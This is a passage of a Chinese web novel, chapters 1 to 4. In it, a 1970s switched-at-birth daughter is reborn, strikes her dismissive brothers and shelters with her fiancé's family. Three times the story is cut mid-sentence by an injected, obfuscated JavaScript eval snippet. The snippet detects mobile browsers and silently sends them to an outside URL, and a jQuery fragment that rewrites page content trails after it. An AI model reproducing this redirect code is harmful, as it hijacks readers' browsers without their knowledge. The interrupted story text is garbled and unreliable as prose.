《年代文炮灰美人觉醒后[七零]》 1. 第 1 章 顾溪猛地睁开眼。 隐隐约约的说话声从门外飘来,伴随着一阵欢声笑语,让她迟缓的思维慢慢地变得清晰起来。 她……活过来了? 这么想着时,她直接坐了起来,因为起得太猛,眼前一阵阵发黑,差点又倒回去,双手撑在床上,好一会儿才缓过来。 她摸了摸额头,好像在发烫。 身体是一种很虚弱的感觉,很难受,也很陌生,让她清楚地意识到,自己确实活过来了。 顾溪转头看向周围,不由怔了下。 这个房间很熟悉,是她十五岁后,来到顾家后住的房间,整整住了五年。 房间的面积不大,东西不多,对着窗的是一张书桌,书桌上堆着一些书,旁边泛黄的墙上贴着几张很有年代感的奖状,有一个双开门的漆红色衣柜,一个简陋的架子,上面挂着挎包和衣服,一把椅子,一张单人床,就没有什么东西了。 简洁到不像一个女孩子长住的地方,仿佛在这里,她只是个过客。 坐了会儿,感觉身体恢复了些力气,顾溪掀开被子下床,浑浑噩噩地朝门口走去。 开门时,楼下的说话声更清晰了。 - “二哥,这块表真的送我吗?我手表坏了,正想再买一块呢。” 顾远湘举起手腕,欢喜地看着手腕上的手表,认出这是国外的一个牌子,十分高兴。 “当然,这可是我攒了大半年的工资才买到的高档货,是补给你的生日礼物。”顾远征笑眯眯地说,“算是上个星期没办法回来给你庆祝生日的赔礼。” 顾远湘高兴地道:“谢谢二哥,我太喜欢了!” 旁边的顾远辉正在吃零食,有些吃味:“姐,你只谢二哥,我呢?我也有给你生日礼物,你当时可没谢我!” 顾远湘马上道:“当然也谢谢远辉,你送我的珍珠发绳我也很喜欢!” 那条珍珠发绳确实很让她很喜欢,上面系着珍珠,漂亮又时髦,一看就很贵。 “那就好,这是我和军子他们去百货大楼挑的,这东西老贵了,花光我最近存的零花钱,最近都没钱吃饭,都是军子他们请我,我以后得还回去……” 顾远辉抱怨起来,他还是个初中学生,平时的零花钱不多,为了给顾远湘买生日礼物,花光他的零花钱不说,还找人借了点。 真不知道一条发绳,多几颗珍珠,怎么贵成这样,女生就是麻烦。 顾溪慢慢地走过去,走到楼梯前,看到楼下客厅沙发上坐着的三个人。 三人说话的音量并没有控制,正在看顾远征从沪市出差带回来的东西。 上个星期是顾远湘二十岁的生日,虽说这年头的长辈对孩子的生日并不重视,但顾家人还是给顾远湘准备了生日礼物,顾远征因为去沪市出差不在家,不过也记得顾远湘的生日,回来后便补给她。 顾溪平静地看着楼下和乐融融的兄妹三人。 如果是上辈子,看到这一幕,她可能会很难受,甚至会自卑。 她和顾远湘是同一天出生,同一天的生日,然而二哥顾远征和小弟顾远辉都没有给她准备礼物,只有亲妈江惠君给她买了一条丝巾。 当然,顾远湘也有同款的丝巾。 顾溪和顾远湘出生时在医院抱错了,一个成了大院里衣食无忧的干部子女,一个成为大字不识一个的乡下人。 直到十五岁那年,顾溪才回到顾家。 顾家养育顾远湘十五年,舍不得她离开,纵使顾溪回来了,仍是将她留在顾家,依然是顾家的女儿。 人的感情就是这么奇怪,就算顾溪才是顾家真正的女儿,但顾家人更偏爱活泼开朗的顾远湘,或许这也是十五年的朝夕相处培养出来的感情。 空缺的十五年,不是有血缘关系就可以插足的。 然而人死过一回,再多的爱恨情仇都会看开,不再渴望不属于自己的东西。 顾溪扶着扶梯,慢慢地走下楼。 看到她,正在说话的三人笑声截然而止。 顾远征看了她一眼,脸上的笑意敛了敛,端起桌上的杯子喝了口水。 顾远辉啧了一声,撇了撇嘴,说道:“懒婆娘,都什么时候了,居然还在睡觉,连二哥回来都不出来看一眼,什么德行!” 顾远湘没说话,故作忙碌地调整手腕的手表链。 顾家共有七口人,顾茂文和江惠君夫妻,长子顾远扬在部队当兵,次子顾远征在钢铁厂工作,长女顾溪刚高中毕业,次女顾远湘正在读大学,小儿子顾远辉今年十五岁,是个初中生。 除了在部队的顾远扬,顾家其他人都住在这里。 暑假刚开始,平时顾溪、顾远湘和顾远辉三人都在家。 顾溪没理他们,先去卫生间洗了把脸。 洗脸时,她看向镜子,看到镜子里自己的脸,不禁有些恍惚。 可能死得太久了,她已经很久没有看到自己的脸,有种恍如隔世之感,只觉得一切是那么陌生。 洗完脸,总算精神一些,对自己重新活过来有一种更加深刻清晰的认知。 既然重活一次,那就好好珍惜吧! 死后当了几十年的阿飘,一个“人”实在太孤独了,那种全世界只有自己的孤寂太可怕,仿佛看不到尽头,一直熬啊熬的,要熬到世界末日一般。 顾溪振作起精神,走出卫生间,无视客厅的三人,回到房间,换了一身衣服,拿起架子上的挎包。 等她重新下楼,正要出门,顾远湘突然叫住她。 “溪溪。”顾远湘一脸笑意,“你要去哪?是要去找工作吗?” 顾溪停下脚步,转头看她。 顾远湘笑盈盈地说:“其实你也不用这么急的,你刚高中毕业,可以在家里休息一下,爸妈不介意养你,不用像二哥这么辛苦工作。” 顾溪不说话,只是看着她,像是在思索她到底要说什么。 她的脸蛋泛着不正常的晕红,衬得那双眼瞳迷茫水润,一头浓密的黑发简单地扎在脑后,穿着白衬衫和黑裤子,俏生生地站在那里,如夏日盛放的菡萏,有一种幽静清艳之美。 顾远湘脸上的笑容微滞,心里有些不是滋味。 顾溪的模样生得极好,不过她和顾家人都长得不像,听说更像江惠君的母亲、顾家兄妹的外婆江老太太。 听说江老太太年轻时是个风华绝代的大美人,可惜生养的几个孩子没一个和她像的,只有外孙女顾溪完全继承了她的美貌,这也是五年前顾溪能被顾家发现并认回来的原因。 没有女人不在意自己的容貌,顾远湘也不例外。 她嫉妒顾溪的容貌,更嫉妒顾溪才是顾家真正的女儿,而她只是个抱错的假千金。当初顾溪被认回来时,完全就是个乡下土妞,又瘦又黑又矮小,头发干枯发黄,一副营养不良的样子,只有那张脸的底子实在太好,却也不算好看。 哪知道养了几年,身材抽条,不仅长高了,皮肤白了,优越的五官也凸显出来,可谓是女大十八变。 每当看到模样大变的顾溪,她心里便难受。 这种难受让她总想做点什么。 幸好,虽然顾溪才是顾家真正的女儿,但家里的父母和兄弟还是向着自己,更喜欢自己。 或许这也和顾溪古怪的脾气有关。 就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171175|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是顾家的女儿又如何?顾溪在乡下被贫穷苦难磋磨了十五年,养出一副怯懦胆小的性子,平时不爱说话,安安静静的,嘴巴又笨拙,一副不讨喜的模样,家长一般不会喜欢这样的孩子。 在顾远湘暗暗安慰自己时,顾远辉啧了一声,“找什么工作?就她这怂样,能找到什么工作?也没人看得起她,还是别出去丢人现眼了,好好在家里干活,伺候好我们!伺候得好,咱们给她开工资,反正她以前在乡下也做惯了这种活的。” “话不能这么说。”顾远湘道,“溪溪好不容易高中毕业,还是很厉害的。” 要知道,当初顾溪被认回来时,可是大字都不识一个的文盲,现在居然高中毕业,已经很厉害了。 顾远辉一脸不屑,“当初她十五岁时,和一群小学生挤在一起上课,可真够丢人的,真不知道爸妈为什么要认她回来,丢咱们家的脸。” 顾远湘哎呀地叫一声,嗔怪起来,让他别这么说溪溪。 偏偏顾远辉就是喜欢和人逆着来的性子,她越是劝,他嘴里越是不饶人,将顾溪批评得一无是处,连她的存在都是个错误。 顾远征没开口,他看了看时间,朝顾溪道:“顾溪,去做饭,等会儿爸妈应该回来了。” 以前顾家是有保姆的,是顾家远房的亲戚,也不算保姆,只是帮着做家务之类的。后来保姆有了孙子,便回老家去了,正想再找个,得知顾溪会做饭,便没再请,只要她在家都是由她来做饭。 顾溪面无表情地看着他们。 看她站着不动,顾远辉有些生气,颐指气使:“喂,二哥叫你去做饭呢!二哥刚从沪市出差回来,快去给二哥做些吃的。” 顾远湘找出饼干盒子递过去,嗔道:“二哥,你饿了怎么不说?先吃点饼干垫垫!不如让溪溪给你下碗面吧,溪溪煮的面挺好吃的。” “也行。”顾远征现在确实又累又饿的,并不挑。 顾溪仍是没动,目光落到桌上的东西,问道:“有我的生日礼物吗?” 顾远征怔了下,难得有些惊讶,像是没想到,她居然会向自己讨要生日礼物,因为以往如果他们忘记了,她也从来不会主动问。 像是怕给他们添麻烦。 “没有。”他淡淡地说,“钱不够,先给湘湘买,下次再给你买吧。” 至于下次是什么时候,就不知道了。 顾家人习惯忽视顾溪,不仅是他们缺失了十五年的时间,也因为顾溪的性子太过沉默内向,不会主动。感情是相互的,需要经营,就算是血脉相连的家人,也不会无条件地向你靠近,事事为你着想考虑,如果不主动经营,没人会在意你,甚至渐渐地忽略你。 顾溪和顾家人之间便是如此。 或许顾溪刚回来时,他们还有些愧疚,但愧疚不会一直持续,将在时间的流逝中消失。 说到底,这不过是个有血缘的陌生人罢了,甚至是害得顾家丢脸的陌生人。 顾远辉没想到她居然开口讨要礼物,嘿了一声:“没见过主动找人要礼物的?怎么,你也想要手表?你要得起吗?”他打量顾溪,突然想到什么,脸上露出鄙夷之色,“听说前阵子有一些不三不四的男青年去学校找你,你还和他们一起出去玩……你已经丢尽咱们家的脸,可别做出让咱们顾家蒙羞的事,万一哪天被人举报你是破鞋……” 这话说得过了,顾远征皱起眉头。 正要喝斥,就见顾溪走过来,一把扯起顾远辉的衣襟,一拳挥了过去,将他从沙发揍翻在地。 顾远辉嗷的一声,痛得眼泪都飙出来。 顾远征和顾远湘都呆住了,像是不敢相信她居然动手打人。 2. 第 2 章 事情发生得太突然,顾远征和顾远湘一时间都没反应过来。 顾溪怎么敢?她居然动手打人?!! 以前顾远辉对她恶作剧,在楼顶泼了她一身水,在她的被窝里放虫子,带她到陌生的地方玩然后跑掉,将她书包里的钱都拿走,害得她只能徒步从学校走回家之类的,都没见她生过气,简直就像个受气包、闷葫芦,也让他们习惯她的逆来顺受。 顾远辉痛得眼泪直飙,只有亲身经历过,才知道这一拳的力道,仿佛半张脸都麻木了,疼得思维都有片刻的空白。 他躺在地上,嘴里发出嚎叫声,叫得顾远征终于回过神。 “顾溪,你干什么?!”顾远征生气地叫道,脸色十分难看,伸手去扯她。 在他靠近时,顾溪如法炮制,往他肚子捣了一拳。 顾远征没防住她会对自己动手,痛得弯下了腰,一时间说不出话来。 她的力气实在太大了,让他有种五脏六腑仿佛都绞在一起的错觉。 看到兄弟俩被打,顾远湘急忙大叫:“溪溪,你怎么能打人?你、你太过分了!快给二哥和远辉道歉!” 她生气地上前扯人,脸上很是不满。 惯性使然,纵使看到顾溪突然打人,也没让她害怕,只觉得顾溪不知道今天发什么疯。 顾溪的手臂被扯住,转头看她。 顾远湘看起来很生气的样子,怒瞪着她。 不知怎么的,一股莫名的戾气突然从心底腾升,顾溪用力地将自己的手抽回来,一把将凑过来的顾远湘推开,将人推倒在沙发上。 顾远湘没想到她会推自己,坚硬的木制沙发嗑到手肘等地方,疼得她眼泪都出来,痛叫出声。 此时兄妹三人一个倒在地上嚎叫,一个捂着肚子弯着腰,冷汗涔涔,一个摔在沙发上,看起来狼狈不堪。 顾溪没管他们,直接走出门。 等屋子里的三兄妹缓过来追出去,人都看不到了,只能怒吼出声。 ** 走出门后,顾溪没有迟疑,直接离开家属大院。 顾家是干部家庭,住在家属大院里,当年顾溪被接回来后,成为家属大院闻名的乡下土妞,没少被笑话。 可能是嫌她丢脸,连带着顾家人都不怎么喜欢她,嫌她给他们增添麻烦。 离开家属大院,顾溪去附近的公交站,上了公车。 七月份的太阳火辣辣的,曝晒着大地,下午三四点正是地表气温最热的时候,车厢里又挤又热,气味杂驳,一路摇摇晃晃,晃得人头晕。 顾溪站在角落里,呼吸着公车里的味道,头痛欲裂,恶心想吐。 旁边有好心的大姐见她状态不对,关心地问道:“这位女同志,你没事吧?” 顾溪反应慢了半拍,小声地说了句没事。 公车到站,她跟着人群晃晃悠悠地下车,循着记忆朝前走,只觉得头重脚轻,脚下轻飘飘的,整个人像游魂一般。 抵达军区大院,顾溪登记后便进去了。 来到记忆中的房子,她站在门前,看着眼前的二层小楼,思绪开始飘忽。 时间过去太久了,很多东西都像是隔了一层,很少能触动她的心弦。 就像顾远征几人,她能平静以对,甚至嫌他们太烦直接动手,丝毫没有心软,打了人也不觉得愧疚。 但这里不同,这是属于那无尽寂寥的记忆中最柔软的地方,纵使几十年过去,她依然将它安放在心底最深处。 “溪溪?” 一道带着乡音的声音响起,顾溪反应慢了半拍,循声转头,看到不远处提着布篮子的中年妇女。 王婶从外头回来,见沈家门口站着个姑娘,走过去一看,发现是顾溪。 她先是开心地叫了一声,等走进时,发现她的脸色不对,顿时大惊,赶紧过去拉住人:“你这是咋了?生病了?” 伸手往她额头摸了摸,发现温度烫得吓人,赶紧将人带进屋里。 顾溪像提线木偶般,被人安放在沙发,木愣愣地坐着。 王婶找出退烧药,又倒了杯温水,盯着人将药吃了,让她去房里睡一觉。 她实在不放心,盯着人躺下,直到确认睡着了,方才忧心忡忡地离开。 - 稍晚一些,冯敏下班回来,闻到家里飘荡的中药味,不禁心中一动:“怎么又熬药?是溪溪来了吗?” 王婶从厨房出来,忙道:“是的,溪溪生病了,我给她熬点药。” 这是军区医院的老医生特地给顾溪开的中药,一直备着,这次她来了,便先给她熬一副。 冯敏一听,哪里坐得住,忙上楼去看人。 房门没有关,冯敏推门进去,看到床上熟睡的姑娘,蜷缩着身体,小巧漂亮的脸蛋透着不正常的红晕,嘴唇干躁,看起来小小的,十分单薄可怜。 冯敏伸手摸了摸她的额头,发现烧还没退,脸上露出担心之色。 天色暗下来,穿着一身军装的沈重山也回来了。 得知顾溪今天过来,而且正在生病,脸上也露出担心的神色。 “这孩子怎么突然病了?”沈重山疑惑地问。 冯敏叹道:“溪溪以前在乡下过得不好,饥一顿饱一顿的,她那养父母重男轻女,不将女娃当人看,她是家里的长女,什么脏活重活都让她干,长期营养不良,又没有好好休息,伤到底子……虽然这几年养了些肉,看着好多了,但这身体和寻常人比还是弱一些,一个不注意就会生病。” 沈重山想起顾溪的遭遇,心里不禁叹一声。 这孩子是个可怜的,好好的干部家庭的孩子,却因为当年抱错,去乡下吃尽苦头,好不容易被认回来,但顾家那些人的态度…… 也是苦了这孩子。 ** 顾溪这一睡,直到晚上九点才醒过来。 醒来时,发现屋里的灯亮着,王婶守在床边,正在给她擦汗。 烧已经退了,退烧时出了一身汗,将衣服都打湿,王婶正要给她换衣服,见她醒过来,不禁松口气。 “溪溪醒了,饿不饿?我给你煮了白粥,你起来喝点粥垫垫肚子,顺便吃药。” 王婶说着,先给她倒了杯温水,将人扶起来喂水。 顾溪喝了大半杯水缓解喉咙的干涩,见她拿衣服过来,伸手接过,说道:“婶子,我自己换。” 王婶将衣服给她,说道:“行,我去给你端粥。” 顾溪默默地看着她出去,将身上汗湿的衣服换下,换上干净的睡衣。 她在沈家有属于自己的房间,也有一些衣物之类的生活用品,偶尔会在这里留宿,这里就像她的家。 一会儿后,王婶回来了。 过来的还有冯敏。 冯敏穿着睡衣,头发挽起,看起来很是素净,灯光下的五官明朗艳丽,身材高挑修长,十分漂亮。 看到冯敏,顾溪鼻头一酸,眼泪便掉落下来。 冯敏吓了一跳,以为她不舒服,揽住她哄道:“哎哟,咱们溪溪怎么哭了?是不是有人欺负你?告诉姨,姨给你出气!” 顾溪将脸靠在她怀里不说话,只是哭。 她哭泣时并不出声,默默地流着眼泪,发出细碎的哽咽声,肩膀微微发颤。 冯敏搂着怀里姑娘单薄纤细的身子,被她哭得难受,手忙脚乱,不知道如何是好。 她家溪溪一向是坚强的性子,很少会哭,当年在在乡下那么困难都没哭过一声,这会儿突然哭成这样,这得受了多大的委屈? 冯敏越想越恼,认定又是顾家那伙人给顾溪委屈受。 除了顾家人,她不觉得有谁能欺负顾溪。 王婶也急得不行,跟着哄道:“哎哟哎哟,好孩子别哭了,你还在生病呢,这可不好。” 听到声音特地过来的沈重山看到这一幕,也有些急。 只是他是大家长,男女有别,也不好做什么,只能在房门口干看着。 能让素来坚强乖巧的小姑娘突然哭成这样,一定是发生了什么事,心里有些不是滋味。 最后还是顾溪自己停下来,只是哭得眼睛肿了,看得冯敏心疼得厉害。 王婶赶紧将粥端过来,一边说道:“来吃点东西,可不能饿到了,不然你又要胃疼。” 大概是小时候经常被饿到,落下胃疼的毛病,一旦没有准时吃饭就会胃疼得厉害。 顾溪在两人的陪伴下默默地喝粥。 吃完粥,喝完药,王婶绞了条毛巾过来给她擦脸,像哄孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171176|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的轻声细语,说着好话,冯敏坐在旁边,轻抚着她的背安抚。 沈重山见这里没什么事,便回房去了。 等王婶收拾东西离开,冯敏打量顾溪苍白的脸,拉着她的手说:“溪溪,告诉姨,是谁欺负你了?” 看着她关切的模样,顾溪心里又泛起细密的疼痛。 或许人与人之间的缘分就是这么奇妙,她与顾家人是血脉亲人,却得不到他们的疼爱和认可;和沈家人明明没有关系,却得到他们的真心喜爱,沈重山夫妻更是将她当女儿一样地爱护。 “冯姨。”顾溪沙哑地开口,“我打人了。” 冯敏呆了下,下意识问:“你打谁?” 顾溪乖巧地说:“顾远征、顾远辉。” 冯敏毫不犹豫地说:“一定是他们做错事,你才打他们。” 溪溪多乖巧的孩子,能让她生气到动手打人,肯定是顾远征他们做得太过分。 冯敏丝毫不觉得她做得有什么不对,在她心里,顾溪就是个好孩子,再加上这几年,将顾家人做的事看在眼里,觉得顾家人被打是应该的。 打人怎么啦,顾溪只是个小姑娘,打的是自家兄弟,那是家事,打就打了,难不成还能去找公安? 顾家丢得起这脸吗? 听到她明晃晃的偏心,顾溪越发的心酸。 上辈子她死后,冯姨他们该有多伤心? 她的人生只有短短二十载,亲人不像亲人,反倒是没有血缘关系的沈家人给予她所有的偏爱和亲情。 冯敏没有继续问顾溪为什么要打人,说道:“你先在家里住着,其他事都别想,病好再说。” 她没将顾溪打人这事放在眼里,觉得不算什么大事,比不过顾溪的身体重要。 等顾溪重新躺在床上睡着,冯敏方才回房。 沈重山还未睡,坐在床边看报纸。 见人回来,他放下手中的报纸问道:“顾溪这孩子怎么了?” 冯敏去倒了杯水喝,坐到床边,说道:“我没问,估计是顾家人又做了什么吧。”她抱怨道,“顾家那群人真是拎不清,就算十五年没相处过,但那是自家的孩子,在乡下受了那么多苦,怎么舍得嫌弃她,反而去偏心在城里过好日子的。” 要是她的孩子从小被抱错,受了委屈回来,她恨不得掏心掏肺地疼回来,哪里舍得给她委屈受。 虽说手心手背都是肉,但该公平时要做到公平,不能太偏心。 舍不得养了十五年的养女是应该的,可也不能因为养女就委屈受苦的亲生女儿。 沈重山不好说什么,家家有本难念的经,顾家人明显更偏心抱错的孩子,嫌弃亲生女儿养在乡下丢人,这种观念很难扭正过来。 冯敏说着突然又笑起来,“不过今天溪溪过来,说她打了顾远征兄弟俩,也不知道是不是真的。” 沈重山惊讶,“顾溪打人?不会是顾远征他们打她吧?” 他不相信顾溪这么乖巧安静的孩子会动手打人,这孩子实在太乖了,只有别人欺负她,没见过她主动欺负人的。 “溪溪是这么说的,应该是吧。”冯敏也不确定,刚才她特地看了看,没见顾溪身上有什么伤,应该没有被人打。 要是顾远征兄弟真敢打,看她不告到妇联,让顾家丢脸。 原本已经躺下了,想到什么冯敏又坐起身,说道:“不行,明天我得去顾家那边瞧瞧。” 她还是不放心,得去顾家走一趟。 要是顾溪真打了人,能想像顾茂文夫妻俩的反应,顾溪又要受委屈。 沈重山看她风风火火的,摇头道:“你这女同志,想一出是一出,别总是去顾家,对顾溪不好。” 不管如何,顾家人到底是顾溪的亲人,顾溪还没嫁过来呢,当婆婆的就这么插手她娘家的事总归不好。 就算要护儿媳妇,也不能这种护法。 “胡说,怎么会对她不好?”冯敏生气地瞪他一眼,“老沈同志,你这思想要不得!我去顾家又怎么了?要不是他们对顾溪不好,我会去吗?” 沈重山没有再说什么,他知道妻子的性子爽朗直率,这是她的优点。 但在顾溪的事上,确实有些欠缺考虑,不过她也确实是真心疼爱顾溪的。 3. 第 3 章 “哎哟,疼疼疼,疼啊,轻点……” 顾茂文夫妻下班回来,刚到门口就听到里头传来小儿子的嚎叫声,嚷嚷着疼。 夫妻俩有些莫名,以为小儿子又和大院里的小子打架了,不知道闯出什么祸,赶紧进门,就看到客厅的沙发上,顾远辉躺在那里,顾远湘正用裹着一根冰棍的毛巾给他敷脸,顾远征沉着一张脸坐在旁边,一边揉着肚子。 “你们这是怎么啦?”江惠君担忧地问,“远辉,你又和人打架?” “我没有!” 顾远辉激动地跳起身,露出一张红肿的脸,肿得高高的,像大馒头。 顾茂文夫妻俩看到他的脸,不禁倒抽口气。 这打得有多重啊?怪不得他一直在叫疼,一看就知道是下了死力气的。 顾茂文很生气,虽然小儿子性子皮,总爱闯祸,和大院里的小子们打打闹闹,但自己的儿子自己心疼,看他被打成这样,怎么能不生气。 江惠君也心疼极了,“怎么被打成这样?谁打的?” 看到父母回来,顾远辉委屈地找他们告状:“爸、妈,是顾溪那死丫头打我……” 顾远征揉着还在酸疼的肚子,刚才看过,发现都青了。 虽然知道顾溪在乡下干农活长大的,据说有一把子的力气,但她的力气有多大,他们并没什么概念,想着一个女孩子,力气再大也就那样,直到这次被她打了,兄弟俩才知道她打人有多疼。 顾茂文夫妻俩听完小儿子的告状,都有些不信。 他们向二儿子顾远征,向他询问这事是不是真的,见顾远征点头,不由吃惊不已。 “溪溪怎么会打人?”江惠君不相信,“不会是远辉又做了什么吧?” 虽然偏心身边养大的几个孩子,但她也是爱自己亲生的女儿,知道顾溪是什么样的性子,安静、乖巧、内向,不会拒绝人,也不会主动挑事,不管让她做什么,都默默地去做,很少会反抗拖拉,就算被兄弟欺负,也默默地忍下。 倒是顾远辉这性子顽劣,又是家里的小儿子,被宠得无法无天,觉得顾溪给顾家丢脸,自从顾溪回来后,就没少作弄她,欺负她,有时候连她这亲妈都看不过去。 顾茂文同样不怎么相信顾溪会打人。 见父母都不相信这事,顾远辉差点气了个仰倒,恨得不行,恨不得将顾溪抓回来,好和他们对质。 他真的被顾溪那死丫头打了,脸都肿了大半边,疼得说话都费力! 最后还是兄妹三人一起作证,终于让夫妻俩相信顾溪真的打了人,不仅打了小儿子,还打了二儿子。 二儿子的肚子都青了一大块,看着就很疼。 夫妻俩看到顾远辉肿成馒头的脸,眼眶发黑,很是生气。 “她怎么能下这么大的力气?”江惠君心疼地捧着小儿子的脸端详,“溪溪呢?在哪里?” 顾茂文沉着脸,说道:“远湘,去将顾溪叫过来。”没见着人,以为顾溪打人害怕躲起来了。 顾远湘生气地说:“她打完人就跑出去了,还没回来。”说着又委屈起来,“爸,你不知道,她还推了我,害我磕在沙发上,磕得手都青了,老疼了。” 说着将袖子撸起来,露出手肘处的一大块青紫。 现在摸一下都酸疼得厉害,她长这么大,还没人给她受这么大的委屈。 江惠君心疼完儿子又心疼养女,拉着她的手摸了摸,去拿家里的跌打损伤的药酒给她推拿按摩。 顾远辉又是一顿猛猛告状,最后道:“爸,妈,你们不知道,顾溪那死丫头有多过分,这次你们一定要狠狠地教训她一顿,不然她都要倒反天罡,对自家人动手,打人都不手软的!”然后又道,“她一定是跑去沈家了,以为有沈家护着,咱们不敢教训她。” 这话夫妻俩不爱听,顾茂文的脸拉了下来,江惠君的脸色也有些不好。 顾家虽然是干部家庭,但干部之间也有等级,和沈家比,完全不算什么。 沈家老爷子是军区大院的老首长,立下军功无数,极受人尊敬,更不用说沈家后代就没有孬的,敢闯敢拼,沈家人大多都在部队里服役,家风清正,令人敬佩。 顾家和沈家原本是八杆儿打不着的,直到顾溪和沈家二房长子沈明峥定下婚约。 这桩婚事是由沈重山和冯敏夫妻俩定下的,得到沈家那边的同意,也是沈明峥的母亲冯敏一心促成。 五年前,冯敏回老家探亲遇险,是顾溪救了她。 当时顾溪背着受伤的冯敏走了二十公里路,将人送到镇上的医院,到达医院时累得直接撅过去,差点就去掉半条命。 冯敏也因为送医及时转危为安。 冯敏的娘家正是顾溪养父母所在的公社,因顾溪救了她,她对顾溪十分感激,知道顾溪的养父母重男轻女,作为家中长女的顾溪过得实在不好,便决定收养她,将她带到京市。 却不想,到京市不久就遇到江惠君的娘家人,因顾溪长得和江家老太太实在太像,被江家人认出来,然后发现抱错的事。 经过一阵兵荒马乱,顾溪被认回顾家。 顾溪有亲生的爹妈在,冯敏自然不好收养顾溪,但她心里是关心顾溪的,发现顾家人更偏心抱错的养女,担心顾溪在顾家受委屈,便提出让自己在部队当兵的长子沈明峥和顾溪定下婚约。 冯敏一心为顾溪打算,指望着有这桩婚事,在顾溪长大成人前,顾家能多爱护她,不让她再受苦了。 对于这桩婚约,顾家人自然十分乐意,能攀上沈家,对顾家自然有好处。 可架不住这几年,冯敏为了给顾溪撑腰,经常落顾家的脸。 顾茂文夫妻都是好面子的,当年便能因为顾溪一副乡下土妞的样子嫌她丢人,被冯敏这么针对,心里多少不得劲,久而久之,对这桩婚约也有些微词。 甚至他们有时候想,如果和沈家定下婚约的是顾远湘就好了。 顾远湘贴心,向着父母和顾家人,一定不会让未来的婆婆如此落父母的脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171177|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾茂文压下心中的不愉,说道:“等顾溪回来,让她给你们道歉。” 江惠君叹气,虽然不知道女儿为什么要打顾远征他们,但打人到底是不对的,女孩子怎么能动手打人,这传出去,外面怎么看她?怎么看顾家? “好了,等溪溪回来,我们会说她。”她朝小儿子道,“不过你也别总是作弄溪溪,她是你姐。” 知道小儿子对顾溪有意见,只是屡教不改,也不知道怎么劝才好。 等孩子长大了,懂事了,应该能改吧,兄弟姐妹之间哪里有什么隔夜仇? 顾远辉生气道:“我这次可没作弄她,是她发神经突然打人。” 他不稀罕顾溪道歉,这家伙敢打他,他一定要狠狠地打回去,让她尝尝自己的厉害,一定要让她哭着跪下道歉,给自己磕一百个响头才行。 听军子他们说,女人就是要狠狠地打,打到听话了,就不敢再反抗。 安抚好三个孩子,江惠君道:“行了,先吃饭吧。” 工作了一天,大家都又累又饿的,有什么事先吃完饭再说。 哪知道话落,就见顾远征三人面面相觑,然后告诉他们,还没做饭。 “这都多少点了,咋还没做饭?”顾茂文不高兴,现在是暑假,家里三个孩子不用上学,顾远湘和顾远辉都在家,顾远征也在,怎么没一个去做饭? 平时回到家就能吃上热腾腾的饭,突然饿肚子,谁的心情都不能好。 顾远辉理直气壮地说:“平时都是顾溪做饭,她打了我们就跑了,我们正疼得厉害,哪有时间做饭。” 顾远湘尴尬地笑。 顾远征一脸疲惫,“我刚从沪市回来。” 顾茂文夫妻同时被噎住。 平时只要顾溪在家,都是她做饭,他们也习惯了,特别是现在放假,都是顾溪做好饭,回来就有饭吃。 江惠君虽然累得厉害,但也不能不吃饭,家里的几个男人都是不会进厨房的大老爷们,只会等吃,最后只能带养女去做饭。 她心里埋怨顾溪小题大作,还跑去沈家,都没嫁人呢,总是跑婆家做什么?这不是让冯敏又以为他们委屈她吗? 想到冯敏可能会登门,阴阳怪气的模样,她就觉得头疼。 顾远湘见养母的脸色不好,贴心地说:“妈,溪溪打人是不对,只要她和我们道个歉就好,我们不会和她一般见识的。如果冯阿姨来了,我们会如实告诉她,这次确实是溪溪做错,冯阿姨再疼她,也不能是非不分吧?” 这话说到江惠君心坎里了,她的脸上总算露出笑影,“你说得对。”然后又叹道,“要是溪溪有你这么贴心就好了。” 其实对亲生女儿,她也是愧疚的,觉得她在乡下十五年受了不少苦。 可再愧疚,也架不住家里的孩子多,更疼爱养在身边的孩子,顾溪的性子安静,不争不抢,太过省心,有时候难免会忽略她。 还有冯敏护着她,对他们总是不给面子,心里渐渐地便有了疙瘩。 4. 第 4 章 翌日醒来,顾溪觉得身体好多了。 她没有急着起床,而是安静地躺着,脸埋在枕头里,能嗅闻到上面阳光的气息。 晒过阳光的被子温暖柔软,让她十分眷恋,活着的感觉实在太好了。 王婶是沈家那边的亲戚,虽然隔得有些远,到底是自己人。 这年头,城里那些条件好的家庭大多数都喜欢找亲戚来家里帮忙做些家务,照顾老人,王婶便是这样的例子。她是个勤快人,天气好时,会将家里的床垫被褥等搬到院子里晒,虽然顾溪一个月在沈家住的时间没几天,仍会每天进来打扫卫生,时不时晾晒被子和衣物。 躺了会儿,顾溪坐起身。 窗帘拉得并不严实,有光线渗透进来,室内一半昏暗一半明亮,能看清楚屋子的情况。 